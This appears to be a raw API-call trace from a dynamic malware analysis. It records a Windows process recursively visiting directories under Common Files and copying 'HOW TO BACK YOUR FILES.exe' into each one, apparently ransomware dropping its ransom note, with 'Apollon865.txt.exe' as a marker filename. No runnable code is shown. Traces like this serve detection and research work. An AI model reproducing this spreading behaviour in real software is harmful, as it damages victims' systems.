	[0074.637] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US"
	[0074.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0074.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned 65
	[0074.637] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US"
	[0074.637] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.637] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0074.638] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.638] GetLastError () returned 0x0
	[0074.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0074.638] ReadFile (in: hFile=0xc0, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0074.639] CloseHandle (hObject=0xc0) returned 1
	[0074.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0074.639] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.639] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.639] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.639] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk"
	[0074.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0074.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned 73
	[0074.639] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk"
	[0074.639] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.639] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0074.640] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.640] GetLastError () returned 0x0
	[0074.640] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0074.640] ReadFile (in: hFile=0xc0, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0074.640] CloseHandle (hObject=0xc0) returned 1
	[0074.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0074.640] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.641] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.641] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.641] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services"
	[0074.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc8b0 | out: hHeap=0x580000) returned 1
	[0074.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0074.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services") returned 38
	[0074.641] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Services" | out: lpString1="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services"
	[0074.641] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.641] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.645] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x448fa5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448fa5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.645] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.645] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.645] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared"
	[0074.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0074.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0074.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared") returned 46
	[0074.646] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared"
	[0074.646] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.646] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.650] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.650] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x448fa5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448fa5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.650] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.650] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.650] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions"
	[0074.650] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0074.651] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0074.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned 68
	[0074.651] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions"
	[0074.651] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.651] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.655] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44920750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44920750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.656] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.656] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.656] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14"
	[0074.656] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0074.656] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0074.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned 71
	[0074.656] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14"
	[0074.656] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.656] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.660] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44920750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44920750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.660] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.660] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.660] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN"
	[0074.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0074.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0074.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned 75
	[0074.661] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN"
	[0074.661] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.665] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44920750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44920750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.665] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.665] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.666] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033"
	[0074.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0074.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0074.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned 80
	[0074.666] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033"
	[0074.666] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.666] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.670] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x449468b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x449468b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.670] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.670] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.670] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders"
	[0074.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0074.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0074.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned 58
	[0074.670] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders"
	[0074.670] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.670] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.675] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x449468b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x449468b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.675] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.675] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.675] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033"
	[0074.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0074.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0074.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033") returned 63
	[0074.675] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033"
	[0074.675] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.676] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.680] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x449468b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x449468b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.680] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.680] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.680] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO"
	[0074.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afff8 | out: hHeap=0x580000) returned 1
	[0074.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0074.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned 51
	[0074.680] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO"
	[0074.680] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.680] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.686] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
